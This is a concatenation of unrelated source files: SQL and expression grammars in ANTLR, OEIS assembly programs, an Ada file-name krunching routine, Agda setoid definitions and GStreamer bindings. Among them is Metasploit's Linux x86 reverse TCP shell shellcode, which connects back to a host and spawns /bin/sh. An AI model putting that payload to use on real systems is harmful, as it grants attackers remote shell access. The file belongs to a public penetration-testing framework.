: character_primary
;
character_primary
: value_expression_primary
| string_value_function
;
/*
===============================================================================
6.29 <string value function>
===============================================================================
*/
string_value_function
: trim_function
;
trim_function
: TRIM LEFT_PAREN trim_operands RIGHT_PAREN
;
trim_operands
: ((trim_specification)? (trim_character=character_value_expression)? FROM)? trim_source=character_value_expression
| trim_source=character_value_expression COMMA trim_character=character_value_expression
;
trim_specification
: LEADING | TRAILING | BOTH
;
/*
===============================================================================
6.30 <datetime_value_expression>
===============================================================================
*/
datetime_value_expression
: datetime_term
;
datetime_term
: datetime_factor
;
datetime_factor
: datetime_primary
;
datetime_primary
: value_expression_primary
| datetime_value_function
;
/*
===============================================================================
6.31 <datetime_value_function>
===============================================================================
*/
datetime_value_function
: current_date_value_function
| current_time_value_function
| current_timestamp_value_function
;
current_date_value_function
: CURRENT_DATE
| CURRENT_DATE LEFT_PAREN RIGHT_PAREN
;
current_time_value_function
: CURRENT_TIME
| CURRENT_TIME LEFT_PAREN RIGHT_PAREN
;
current_timestamp_value_function
: CURRENT_TIMESTAMP
;
/*
===============================================================================
6.34 <boolean value expression>
===============================================================================
*/
boolean_value_expression
: or_predicate
;
or_predicate
: and_predicate (OR or_predicate)*
;
and_predicate
: boolean_factor (AND and_predicate)*
;
boolean_factor
: boolean_test
| NOT boolean_test
;
boolean_test
: boolean_primary is_clause?
;
is_clause
: IS NOT? t=truth_value
;
truth_value
: TRUE | FALSE | UNKNOWN
;
boolean_primary
: predicate
| boolean_predicand
;
boolean_predicand
: parenthesized_boolean_value_expression
| nonparenthesized_value_expression_primary
;
parenthesized_boolean_value_expression
: LEFT_PAREN boolean_value_expression RIGHT_PAREN
;
/*
===============================================================================
7.2 <row value expression>
===============================================================================
*/
row_value_expression
: row_value_special_case
| explicit_row_value_constructor
;
row_value_special_case
: nonparenthesized_value_expression_primary
;
explicit_row_value_constructor
: NULL
;
row_value_predicand
: row_value_special_case
| row_value_constructor_predicand
;
row_value_constructor_predicand
: common_value_expression
| boolean_predicand
// | explicit_row_value_constructor
;
/*
===============================================================================
7.4 <table expression>
===============================================================================
*/
table_expression
: from_clause
where_clause?
groupby_clause?
having_clause?
orderby_clause?
window_clause?
limit_clause?
;
/*
===============================================================================
7.5 <from clause>
===============================================================================
*/
from_clause
: FROM table_reference_list
;
table_reference_list
:table_reference (COMMA table_reference)*
;
/*
===============================================================================
7.6 <table reference>
===============================================================================
*/
table_reference
: joined_table
| table_primary
;
/*
===============================================================================
7.7 <joined table>
===============================================================================
*/
joined_table
: table_primary joined_table_primary+
;
joined_table_primary
: CROSS JOIN right=table_primary
| (t=join_type)? JOIN right=table_primary s=join_specification
| NATURAL (t=join_type)? JOIN right=table_primary
| UNION JOIN right=table_primary
;
cross_join
: CROSS JOIN r=table_primary
;
qualified_join
: (t=join_type)? JOIN r=table_primary s=join_specification
;
natural_join
: NATURAL (t=join_type)? JOIN r=table_primary
;
union_join
: UNION JOIN r=table_primary
;
join_type
: INNER
| t=outer_join_type
;
outer_join_type
: outer_join_type_part2 OUTER?
;
outer_join_type_part2
: LEFT
| RIGHT
| FULL
;
join_specification
: join_condition
| named_columns_join
;
join_condition
: ON search_condition
;
named_columns_join
: USING LEFT_PAREN f=column_reference_list RIGHT_PAREN
;
table_primary
: table_or_query_name ((AS)? alias=identifier)? (LEFT_PAREN column_name_list RIGHT_PAREN)?
| derived_table (AS)? name=identifier (LEFT_PAREN column_name_list RIGHT_PAREN)?
;
column_name_list
: identifier ( COMMA identifier )*
;
derived_table
: table_subquery
;
/*
===============================================================================
7.8 <where clause>
===============================================================================
*/
where_clause
: WHERE search_condition
;
search_condition
: value_expression // instead of boolean_value_expression, we use value_expression for more flexibility.
;
/*
===============================================================================
7.9 <group by clause>
===============================================================================
*/
groupby_clause
: GROUP BY g=grouping_element_list
;
grouping_element_list
: grouping_element (COMMA grouping_element)*
;
grouping_element
: rollup_list
| cube_list
| empty_grouping_set
| ordinary_grouping_set
;
ordinary_grouping_set
: row_value_predicand
| LEFT_PAREN row_value_predicand_list RIGHT_PAREN
;
ordinary_grouping_set_list
: ordinary_grouping_set (COMMA ordinary_grouping_set)*
;
rollup_list
: ROLLUP LEFT_PAREN c=ordinary_grouping_set_list RIGHT_PAREN
;
cube_list
: CUBE LEFT_PAREN c=ordinary_grouping_set_list RIGHT_PAREN
;
empty_grouping_set
: LEFT_PAREN RIGHT_PAREN
;
having_clause
: HAVING boolean_value_expression
;
row_value_predicand_list
: row_value_predicand (COMMA row_value_predicand)*
;
/*
===============================================================================
7.11 <window clause> (p331)
===============================================================================
*/
window_clause
: WINDOW window_definition_list;
window_definition_list
: window_definition (COMMA window_definition)*
;
window_definition
: window_name AS window_specification
;
window_name
: identifier
;
window_specification
: LEFT_PAREN window_specification_details RIGHT_PAREN
;
window_specification_details
: (existing_window_name)? (window_partition_clause)? (window_order_clause)? (window_frame_clause)?
;
existing_window_name
: window_name
;
window_partition_clause
: PARTITION BY row_value_predicand_list
;
window_order_clause
: orderby_clause
;
window_frame_clause
: window_frame_units window_frame_extent (window_frame_exclusion)?
;
window_frame_units
: ROWS | RANGE
;
window_frame_extent
: window_frame_start_bound
| window_frame_between
;
window_frame_start_bound
: UNBOUNDED PRECEDING
| unsigned_value_specification PRECEDING // window_frame_preceding
| CURRENT ROW
;
window_frame_between
: BETWEEN bound1=window_frame_start_bound AND bound2=window_frame_end_bound
;
window_frame_end_bound
: UNBOUNDED FOLLOWING
| unsigned_value_specification FOLLOWING // window_frame_following FOLLOWING
| CURRENT ROW
;
window_frame_exclusion
: EXCLUDE CURRENT ROW
| EXCLUDE GROUP
| EXCLUDE TIES
| EXCLUDE NO OTHERS
;
/*
===============================================================================
7.13 <query expression>
===============================================================================
*/
query_expression
: query_expression_body
;
query_expression_body
: non_join_query_expression
| joined_table
;
non_join_query_expression
: (non_join_query_term
| joined_table (UNION | EXCEPT) (ALL|DISTINCT)? query_term)
((UNION | EXCEPT) (ALL|DISTINCT)? query_term)*
;
query_term
: non_join_query_term
| joined_table
;
non_join_query_term
: ( non_join_query_primary
| joined_table INTERSECT (ALL|DISTINCT)? query_primary)
(INTERSECT (ALL|DISTINCT)? query_primary)*
;
query_primary
: non_join_query_primary
| joined_table
;
non_join_query_primary
: simple_table
| LEFT_PAREN non_join_query_expression RIGHT_PAREN
;
simple_table
: query_specification
| explicit_table
;
explicit_table
: TABLE table_or_query_name
;
table_or_query_name
: table_name
| identifier
;
table_name
: identifier (DOT identifier ( DOT identifier)? )?
;
column_name
: identifier
;
query_specification
: SELECT set_qualifier? select_list table_expression?
;
select_list
: select_sublist (COMMA select_sublist)*
;
select_sublist
: derived_column
| qualified_asterisk
;
derived_column
: value_expression as_clause?
;
qualified_asterisk
: (tb_name=identifier DOT)? MULTIPLY
;
set_qualifier
: DISTINCT
| ALL
;
column_reference
: ((db_name = identifier DOT)? (tb_name=identifier DOT))? name=identifier
;
as_clause
: (AS)? identifier
;
column_reference_list
: column_reference (COMMA column_reference)*
;
/*
==============================================================================================
7.15 <subquery>
Specify a scalar value, a row, or a table derived from a query_expression .
==============================================================================================
*/
scalar_subquery
: subquery
;
row_subquery
: subquery
;
table_subquery
: subquery
;
subquery
: LEFT_PAREN query_expression RIGHT_PAREN
;
/*
===============================================================================
8.1 <predicate>
===============================================================================
*/
predicate
: comparison_predicate
| between_predicate
| in_predicate
| pattern_matching_predicate // like predicate and other similar predicates
| null_predicate
| exists_predicate
;
/*
===============================================================================
8.2 <comparison predicate>
Specify a comparison of two row values.
===============================================================================
*/
comparison_predicate
: left=row_value_predicand c=comp_op right=row_value_predicand
;
comp_op
: EQUAL
| NOT_EQUAL
| LTH
| LEQ
| GTH
| GEQ
;
/*
===============================================================================
8.3 <between predicate>
===============================================================================
*/
between_predicate
: predicand=row_value_predicand between_predicate_part_2
;
between_predicate_part_2
: (NOT)? BETWEEN (ASYMMETRIC | SYMMETRIC)? begin=row_value_predicand AND end=row_value_predicand
;
/*
===============================================================================
8.4 <in predicate>
===============================================================================
*/
in_predicate
: predicand=numeric_value_expression NOT? IN in_predicate_value
;
in_predicate_value
: table_subquery
| LEFT_PAREN in_value_list RIGHT_PAREN
;
in_value_list
: row_value_predicand ( COMMA row_value_predicand )*
;
/*
===============================================================================
8.5, 8.6 <pattern matching predicate>
Specify a pattern-matching comparison.
===============================================================================
*/
pattern_matching_predicate
: f=row_value_predicand pattern_matcher s=Character_String_Literal
;
pattern_matcher
: NOT? negativable_matcher
| regex_matcher
;
negativable_matcher
: LIKE
| ILIKE
| SIMILAR TO
| REGEXP
| RLIKE
;
regex_matcher
: Similar_To
| Not_Similar_To
| Similar_To_Case_Insensitive
| Not_Similar_To_Case_Insensitive
;
/*
===============================================================================
8.7 <null predicate>
Specify a test for a null value.
===============================================================================
*/
null_predicate
: predicand=row_value_predicand IS (n=NOT)? NULL
;
/*
==============================================================================================
8.8 <quantified comparison predicate>
Specify a quantified comparison.
==============================================================================================
*/
quantified_comparison_predicate
: l=numeric_value_expression c=comp_op q=quantifier s=table_subquery
;
quantifier : all | some ;
all : ALL;
some : SOME | ANY;
/*
==============================================================================================
8.9 <exists predicate>
Specify a test for a non_empty set.
==============================================================================================
*/
exists_predicate
: NOT? EXISTS s=table_subquery
;
/*
==============================================================================================
8.10 <unique predicate>
Specify a test for the absence of duplicate rows
==============================================================================================
*/
unique_predicate
: UNIQUE s=table_subquery
;
/*
===============================================================================
10.1 <interval qualifier>
Specify the precision of an interval data type.
===============================================================================
*/
primary_datetime_field
: non_second_primary_datetime_field
| SECOND
;
non_second_primary_datetime_field
: YEAR | MONTH | DAY | HOUR | MINUTE
;
extended_datetime_field
: CENTURY | DECADE | DOW | DOY | EPOCH | ISODOW | ISOYEAR | MICROSECONDS | MILLENNIUM | MILLISECONDS | QUARTER | WEEK
;
/*
===============================================================================
10.4 <routine invocation>
Invoke an SQL-invoked routine.
===============================================================================
*/
routine_invocation
: function_name LEFT_PAREN sql_argument_list? RIGHT_PAREN
;
function_names_for_reserved_words
: LEFT
| RIGHT
;
function_name
: identifier
| function_names_for_reserved_words
;
sql_argument_list
: value_expression (COMMA value_expression)*
;
/*
===============================================================================
14.1 <declare cursor>
===============================================================================
*/
orderby_clause
: ORDER BY sort_specifier_list
;
sort_specifier_list
: sort_specifier (COMMA sort_specifier)*
;
sort_specifier
: key=row_value_predicand order=order_specification? null_order=null_ordering?
;
order_specification
: ASC
| DESC
;
limit_clause
: LIMIT e=numeric_value_expression
;
null_ordering
: NULL FIRST
| NULL LAST
;
/*
===============================================================================
14.8 <insert statement>
===============================================================================
*/
insert_statement
: INSERT (OVERWRITE)? INTO table_name (LEFT_PAREN column_name_list RIGHT_PAREN)? query_expression
| INSERT (OVERWRITE)? INTO LOCATION path=Character_String_Literal (USING storage_type=identifier (param_clause)?)? query_expression
;
/*
===============================================================================
<alter table>
===============================================================================
*/
alter_tablespace_statement
: ALTER TABLESPACE space_name=identifier LOCATION uri=Character_String_Literal
;
alter_table_statement
: ALTER TABLE table_name RENAME TO table_name
| ALTER TABLE table_name RENAME COLUMN column_name TO column_name
| ALTER TABLE table_name ADD COLUMN field_element
;
|
impl/reika-j/src/main/java/me/at15/reika/playground/SimpleBin.g4 | at15/reika | 0 | 4729 | grammar SimpleBin;
prog: (term ';')+;
term
: INT # Int
| BOOL # Bool
| term op=('&&' | '||') term # BinOp
| term op=('+' | '-') term # BinOp
| '(' term ')' # Brackets
;
INT: [0-9]+;
BOOL: 'true' | 'false';
WS: [ \t\r\n] -> skip; |
oeis/180/A180739.asm | neoneye/loda-programs | 11 | 95390 | <filename>oeis/180/A180739.asm
; A180739: Diagonal of array arising in computing the number of numerical semigroups using generating functions.
; Submitted by <NAME>(s2)
; 1,2,6,10,17,28,44,66,95,132,178,234
add $0,1
mov $1,$0
lpb $1
bin $1,3
add $0,$1
add $0,2
mov $1,2
lpe
|
external/source/shellcode/linux/ia32/single_reverse_tcp_shell.asm | OsmanDere/metasploit-framework | 26,932 | 25126 | <filename>external/source/shellcode/linux/ia32/single_reverse_tcp_shell.asm
;;
;
; Name: single_reverse_tcp_shell
; Version: $Revision: 1512 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Single reverse TCP shell.
;
; Meta-Information:
;
; meta-shortname=Linux Reverse TCP Shell
; meta-description=Connect back to the attacker and spawn a shell
; meta-authors=skape <mmiller [at] hick.org>
; meta-os=linux
; meta-arch=ia32
; meta-category=single
; meta-connection-type=reverse
; meta-name=reverse_tcp_shell
; meta-basemod=Msf::PayloadComponent::ReverseConnection
; meta-offset-lhost=0x1a
; meta-offset-lport=0x20
;;
BITS 32
GLOBAL _start
_start:
xor ebx, ebx
mul ebx
socket:
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
inc ebx ; 1 = SYS_SOCKET
push ebx ; type = 1 = SOCK_STREAM
push byte 0x2 ; domain = 2 = AF_INET
mov ecx, esp ; socketcall args
mov al, 0x66
int 0x80
xchg eax, ebx
; int dup2(int oldfd, int newfd);
dup:
pop ecx ; oldfd = 2, aka stderr
; newfd is in ebx, set above, and doesn't change until we're ready to call
; connect(2)
dup_loop:
mov al, 0x3f ; __NR_dup2
int 0x80
dec ecx
jns dup_loop
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect:
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
push 0xbfbf0002 ; addr->sin_port = 49087
; addr->sin_family = 2 = AF_INET
mov ecx, esp ; ecx = addr
mov al, 0x66 ; __NR_socketcall
push eax ; addrlen
push ecx ; addr
push ebx ; sockfd
mov bl, 0x3 ; 3 = SYS_CONNECT
mov ecx, esp ; socketcall args
int 0x80
; int execve(const char *filename, char *const argv[], char *const envp[]);
execve:
push edx ; NULL terminator for "/bin//sh"
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp ; filename
push edx ; NULL terminator for argv
push ebx ; pointer to "/bin//sh"
mov ecx, esp ; argv = pointer to pointer to "/bin//sh"
mov al, 0x0b ; __NR_execve
int 0x80
|
oeis/083/A083363.asm | neoneye/loda-programs | 11 | 21329 | ; A083363: Diagonal of table A083362.
; Submitted by <NAME>(s2)
; 1,7,11,30,38,69,81,124,140,195,215,282,306,385,413,504,536,639,675,790,830,957,1001,1140,1188,1339,1391,1554,1610,1785,1845,2032,2096,2295,2363,2574,2646,2869,2945,3180,3260,3507,3591,3850,3938,4209,4301,4584
mov $1,$0
add $0,1
add $1,$0
div $0,2
mul $1,2
add $1,1
mul $0,$1
trn $0,1
add $0,1
|
Mips/Studies/printingCharacter.asm | otavreis/-Computer-Architecture-and-Organization | 1 | 8485 | <filename>Mips/Studies/printingCharacter.asm
.data
myCharacter: .byte 'm'
.text
li $v0, 4 #uses code 4
la $a0, myCharacter
syscall |
hypedex/src/main/java/hypedex/antlr/Predicate.g4 | SilverBK/Hypedex | 0 | 4572 | /*
* Created by <NAME>
*/
grammar Predicate;
@header {
package hypedex.antlr;
}
prog: formula;
formula
: '(' formula ')' #Paranthesis
| formula AND formula #AndConnection
| formula OR formula #OrConnection
| NOT formula #Negation
| condition #ConditionNode
;
condition: id '=' number #EqualCondition
| id '<' number #LessThanCondition
| id '>' number #GreaterThanCondition
| id '<=' number #LessThanEqualCondition
| id '>=' number #GreaterThanEqualCondition
| number '=' id #EqualCondition
| number '<' id #GreaterThanCondition
| number '>' id #LessThanCondition
| number '<=' id #GreaterThanEqualCondition
| number '>=' id #LessThanEqualCondition
;
id:ID;
number:NUMBER;
OR: 'OR';
AND: 'AND';
NOT:'!';
ID:([a-zA-Z]+)([a-zA-Z0-9]*);// match identifiers
NUMBER:'-'?('0' .. '9')+ ('.' ('0' .. '9') +)?; // match a number
NEWLINE:'\r'? '\n' -> skip ; // return newlines to parser (end-statement signal)
WS:[\t]+ -> skip ; // toss out whitespace
|
programs/oeis/007/A007395.asm | neoneye/loda | 22 | 93284 | <filename>programs/oeis/007/A007395.asm
; A007395: Constant sequence: the all 2's sequence.
; 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2
mov $0,2
|
src/gnat/krunch.adb | My-Colaborations/dynamo | 15 | 11559 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- <NAME> --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2014, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
procedure Krunch
(Buffer : in out String;
Len : in out Natural;
Maxlen : Natural;
No_Predef : Boolean)
is
pragma Assert (Buffer'First = 1);
-- This is a documented requirement; the assert turns off index warnings
B1 : Character renames Buffer (1);
Curlen : Natural;
Krlen : Natural;
Num_Seps : Natural;
Startloc : Natural;
J : Natural;
begin
-- Deal with special predefined children cases. Startloc is the first
-- location for the krunch, set to 1, except for the predefined children
-- case, where it is set to 3, to start after the standard prefix.
if No_Predef then
Startloc := 1;
Curlen := Len;
Krlen := Maxlen;
elsif Len >= 18
and then Buffer (1 .. 17) = "ada-wide_text_io-"
then
Startloc := 3;
Buffer (2 .. 5) := "-wt-";
Buffer (6 .. Len - 12) := Buffer (18 .. Len);
Curlen := Len - 12;
Krlen := 8;
elsif Len >= 23
and then Buffer (1 .. 22) = "ada-wide_wide_text_io-"
then
Startloc := 3;
Buffer (2 .. 5) := "-zt-";
Buffer (6 .. Len - 17) := Buffer (23 .. Len);
Curlen := Len - 17;
Krlen := 8;
elsif Len >= 4 and then Buffer (1 .. 4) = "ada-" then
Startloc := 3;
Buffer (2 .. Len - 2) := Buffer (4 .. Len);
Curlen := Len - 2;
Krlen := 8;
elsif Len >= 5 and then Buffer (1 .. 5) = "gnat-" then
Startloc := 3;
Buffer (2 .. Len - 3) := Buffer (5 .. Len);
Curlen := Len - 3;
Krlen := 8;
elsif Len >= 7 and then Buffer (1 .. 7) = "system-" then
Startloc := 3;
Buffer (2 .. Len - 5) := Buffer (7 .. Len);
Curlen := Len - 5;
Krlen := 8;
elsif Len >= 11 and then Buffer (1 .. 11) = "interfaces-" then
Startloc := 3;
Buffer (2 .. Len - 9) := Buffer (11 .. Len);
Curlen := Len - 9;
Krlen := 8;
-- For the renamings in the obsolescent section, we also force krunching
-- to 8 characters, but no other special processing is required here.
-- Note that text_io and calendar are already short enough anyway.
elsif (Len = 9 and then Buffer (1 .. 9) = "direct_io")
or else (Len = 10 and then Buffer (1 .. 10) = "interfaces")
or else (Len = 13 and then Buffer (1 .. 13) = "io_exceptions")
or else (Len = 12 and then Buffer (1 .. 12) = "machine_code")
or else (Len = 13 and then Buffer (1 .. 13) = "sequential_io")
or else (Len = 20 and then Buffer (1 .. 20) = "unchecked_conversion")
or else (Len = 22 and then Buffer (1 .. 22) = "unchecked_deallocation")
then
Startloc := 1;
Krlen := 8;
Curlen := Len;
-- Special case of a child unit whose parent unit is a single letter that
-- is A, G, I, or S. In order to prevent confusion with krunched names
-- of predefined units use a tilde rather than a minus as the second
-- character of the file name.
elsif Len > 1
and then Buffer (2) = '-'
and then (B1 = 'a' or else B1 = 'g' or else B1 = 'i' or else B1 = 's')
and then Len <= Maxlen
then
Buffer (2) := '~';
return;
-- Normal case, not a predefined file
else
Startloc := 1;
Curlen := Len;
Krlen := Maxlen;
end if;
-- Immediate return if file name is short enough now
if Curlen <= Krlen then
Len := Curlen;
return;
end if;
-- If string contains Wide_Wide, replace by a single z
J := Startloc;
while J <= Curlen - 8 loop
if Buffer (J .. J + 8) = "wide_wide"
and then (J = Startloc
or else Buffer (J - 1) = '-'
or else Buffer (J - 1) = '_')
and then (J + 8 = Curlen
or else Buffer (J + 9) = '-'
or else Buffer (J + 9) = '_')
then
Buffer (J) := 'z';
Buffer (J + 1 .. Curlen - 8) := Buffer (J + 9 .. Curlen);
Curlen := Curlen - 8;
end if;
J := J + 1;
end loop;
-- For now, refuse to krunch a name that contains an ESC character (wide
-- character sequence) since it's too much trouble to do this right ???
for J in 1 .. Curlen loop
if Buffer (J) = ASCII.ESC then
return;
end if;
end loop;
-- Count number of separators (minus signs and underscores) and for now
-- replace them by spaces. We keep them around till the end to control
-- the krunching process, and then we eliminate them as the last step
Num_Seps := 0;
for J in Startloc .. Curlen loop
if Buffer (J) = '-' or else Buffer (J) = '_' then
Buffer (J) := ' ';
Num_Seps := Num_Seps + 1;
end if;
end loop;
-- Now we do the one character at a time krunch till we are short enough
while Curlen - Num_Seps > Krlen loop
declare
Long_Length : Natural := 0;
Long_Last : Natural := 0;
Piece_Start : Natural;
Ptr : Natural;
begin
Ptr := Startloc;
-- Loop through pieces to find longest piece
while Ptr <= Curlen loop
Piece_Start := Ptr;
-- Loop through characters in one piece of name
while Ptr <= Curlen and then Buffer (Ptr) /= ' ' loop
Ptr := Ptr + 1;
end loop;
if Ptr - Piece_Start > Long_Length then
Long_Length := Ptr - Piece_Start;
Long_Last := Ptr - 1;
end if;
Ptr := Ptr + 1;
end loop;
-- Remove last character of longest piece
if Long_Last < Curlen then
Buffer (Long_Last .. Curlen - 1) :=
Buffer (Long_Last + 1 .. Curlen);
end if;
Curlen := Curlen - 1;
end;
end loop;
-- Final step, remove the spaces
Len := 0;
for J in 1 .. Curlen loop
if Buffer (J) /= ' ' then
Len := Len + 1;
Buffer (Len) := Buffer (J);
end if;
end loop;
return;
end Krunch;
|
Structure/Setoid/Size.agda | Lolirofle/stuff-in-agda | 6 | 1478 | <reponame>Lolirofle/stuff-in-agda
module Structure.Setoid.Size where
import Lvl
open import Logic
open import Logic.Propositional
open import Logic.Predicate
open import Structure.Setoid
open import Structure.Function.Domain
open import Structure.Function
open import Syntax.Function
open import Type
private variable ℓ ℓ₁ ℓ₂ ℓₑ₁ ℓₑ₂ : Lvl.Level
_≍_ : (A : Setoid{ℓₑ₁}{ℓ₁}) → (B : Setoid{ℓₑ₂}{ℓ₂}) → Stmt
_≍_ A B = ∃{Obj = Setoid.Type(A) → Setoid.Type(B)} (f ↦ Function(f) ∧ Bijective(f))
_≼_ : (A : Setoid{ℓₑ₁}{ℓ₁}) → (B : Setoid{ℓₑ₂}{ℓ₂}) → Stmt
_≼_ A B = ∃{Obj = Setoid.Type(A) → Setoid.Type(B)} (f ↦ Function(f) ∧ Injective(f))
_≽_ : (A : Setoid{ℓₑ₁}{ℓ₁}) → (B : Setoid{ℓₑ₂}{ℓ₂}) → Stmt
_≽_ A B = ∃{Obj = Setoid.Type(A) → Setoid.Type(B)} (f ↦ Function(f) ∧ Surjective(f))
_≭_ : (A : Setoid{ℓₑ₁}{ℓ₁}) → (B : Setoid{ℓₑ₂}{ℓ₂}) → Stmt
_≭_ A B = ¬(A ≍ B)
_≺_ : (A : Setoid{ℓₑ₁}{ℓ₁}) → (B : Setoid{ℓₑ₂}{ℓ₂}) → Stmt
_≺_ A B = (A ≼ B) ∧ (A ≭ B)
_≻_ : (A : Setoid{ℓₑ₁}{ℓ₁}) → (B : Setoid{ℓₑ₂}{ℓ₂}) → Stmt
_≻_ A B = (A ≽ B) ∧ (A ≭ B)
|
src/Debug.agda | Zalastax/thesis | 1 | 7744 | module Debug where
open import Data.String using (String) public
open import Level public
{-# FOREIGN GHC import qualified Data.Text #-}
{-# FOREIGN GHC import qualified Debug.Trace as Trace #-}
{-# FOREIGN GHC
debug' :: Data.Text.Text -> c -> c
debug' txt c = Trace.trace (Data.Text.unpack txt) c
#-}
postulate debug : {a : Level} {A : Set a} → String → A → A
{-# COMPILE GHC debug = (\x -> (\y -> debug')) #-}
|
src/main/antlr/CFGrammar.g4 | artbobrov/LL1-Parser | 0 | 7560 | grammar CFGrammar;
cfgrammar: cfrules EOF;
cfrules: (cfrule SEMICOLON)*;
cfrule: nonterm ASSIGN rvalue;
nonterm: id;
rvalue: alternatives;
alternatives: alternative (BAR alternative)*;
alternative: element+;
element: text | nonterm;
text: STRING;
id: LT ruleid GT;
ruleid: ID;
ASSIGN: '::=';
BAR: '|';
GT: '>';
LT: '<';
QUOTE: '\'';
SEMICOLON: ';';
STRING: QUOTE ~('\r' | '\n' | '\'')* QUOTE;
ID: ('a' ..'z' | 'A' ..'Z') (
'a' ..'z'
| 'A' ..'Z'
| '0' ..'9'
| '-'
| '_'
| ' '
| '\''
)*;
WS: [ \r\n\t] -> skip;
|
src/gen/gstreamer-gst_low_level-gstreamer_0_10_gst_math_compat_h.ads | persan/A-gst | 1 | 4661 | <gh_stars>1-10
pragma Ada_2005;
pragma Style_Checks (Off);
pragma Warnings (Off);
with Interfaces.C; use Interfaces.C;
package GStreamer.GST_Low_Level.gstreamer_0_10_gst_math_compat_h is
-- arg-macro: procedure rint (x)
-- __gst_math_compat_rint(x)
-- arg-macro: procedure rintf (x)
-- __gst_math_compat_rintf(x)
-- GStreamer
-- * Copyright (C) 2010 <NAME> <tim centricular net>
-- *
-- * This library is free software; you can redistribute it and/or
-- * modify it under the terms of the GNU Library General Public
-- * License as published by the Free Software Foundation; either
-- * version 2 of the License, or (at your option) any later version.
-- *
-- * This library is distributed in the hope that it will be useful,
-- * but WITHOUT ANY WARRANTY; without even the implied warranty of
-- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-- * Library General Public License for more details.
-- *
-- * You should have received a copy of the GNU Library General Public
-- * License along with this library; if not, write to the
-- * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-- * Boston, MA 02111-1307, USA.
--
-- This header is not included automatically via gst/gst.h, you need to
-- * include it explicitly if you need it.
-- http://en.wikipedia.org/wiki/Math.h
-- skipped func __gst_math_compat_rint
-- skipped func __gst_math_compat_rintf
end GStreamer.GST_Low_Level.gstreamer_0_10_gst_math_compat_h;
|
src/main/antlr4/VParser.g4 | peterderivaz/alogic_do_not_use | 0 | 3162 | <reponame>peterderivaz/alogic_do_not_use
////////////////////////////////////////////////////////////////////////////////
// Copyright (c) 2017 Argon Design Ltd.
// All rights reserved.
// This file is covered by the BSD (with attribution) license.
// See the LICENSE file for the precise wording of the license.
////////////////////////////////////////////////////////////////////////////////
parser grammar VParser;
options {
tokenVocab = VLexer;
}
// TODO: syntax changes:
//
// PROPOSED: Change
// task ID '{' ports body '}'
// to:
// task ID '('ports')' '{' body '}'
//
// PROPOSED: change
// 'void' 'verilog' '(')' '{'...'}'
// to:
// 'verilog' {...}
// or to something similar to:
// 'verbatim' 'verilog' '{'...'}'
// (for when we would support multiple target languages???)
start
: typedefinition*
entity
EOF
;
typedefinition
: typedef
| struct
;
entity
: task
| network
;
typedef
: 'typedef' known_type IDENTIFIER ';'
;
struct
: 'struct' IDENTIFIER '{'
(fields+=field)*
'}' ';'
;
decl_noinit
: known_type var_ref #DeclNoInit
;
decl_init
: known_type var_ref '=' expr #DeclInit
;
decl
: decl_noinit
| decl_init
;
flow_control_type
: 'sync' #FlowControlTypeSync
| SYNC_READY #FlowControlTypeSyncReady
| SYNC_ACCEPT #FlowControlTypeSyncAccept
;
storage_type
: 'wire' #StorageTypeWire
| 'bubble' #StorageTypeBubble
;
network_decl
: 'out' flow_control_type? storage_type? known_type IDENTIFIER ';' #TaskDeclOut
| 'in' flow_control_type? known_type IDENTIFIER ';' #TaskDeclIn
| 'param' known_type IDENTIFIER '=' expr ';' #TaskDeclParam
| 'const' known_type IDENTIFIER '=' expr ';' #TaskDeclConst
| 'pipeline' known_type IDENTIFIER ';' #TaskDeclPipeline
;
task_decl
: network_decl #DUMMYRULENAME
| 'verilog' known_type var_ref ';' #TaskDeclVerilog
| decl ';' #TaskDecl
;
task
: (autoinst='new')? 'fsm' IDENTIFIER '{'
(decls+=task_decl)*
(contents+=task_content)*
'}' #TaskFSM
| 'verilog' IDENTIFIER '{'
(decls+=task_decl)*
(contents+=verilog_function)*
'}' #TaskVerilog
;
network
: 'network' IDENTIFIER '{'
(decls+=network_decl)*
(contents+=network_content)*
'}';
network_content
: task
| connect
| instantiate
| verilog_function
;
connect : lhs=dotted_name '->' rhs+=dotted_name (',' rhs+=dotted_name)* ';' ;
instantiate : IDENTIFIER '=' 'new' IDENTIFIER '(' param_args ')' ';' ;
known_type
: 'bool' # BoolType
| INTTYPE # IntType
| UINTTYPE # UintType
| IDENTIFIER # IdentifierType
| 'int' '(' commaexpr ')' # IntVType
| 'uint' '(' commaexpr ')' # UintVType
;
function
: 'void' IDENTIFIER '(' ')' '{'
(stmts += statement)*
'}'
;
fence_function
: 'void' 'fence' '(' ')' '{'
(stmts += statement)*
'}' # FenceFunction
;
verilog_function
: VERILOGFUNC VERILOGBODY # VerilogFunction
;
task_content
: function
| fence_function
| verilog_function
;
expr
: '(' expr ')' # ExprBracket
| op=('+' | '-' | '!' | '~' | '&' |
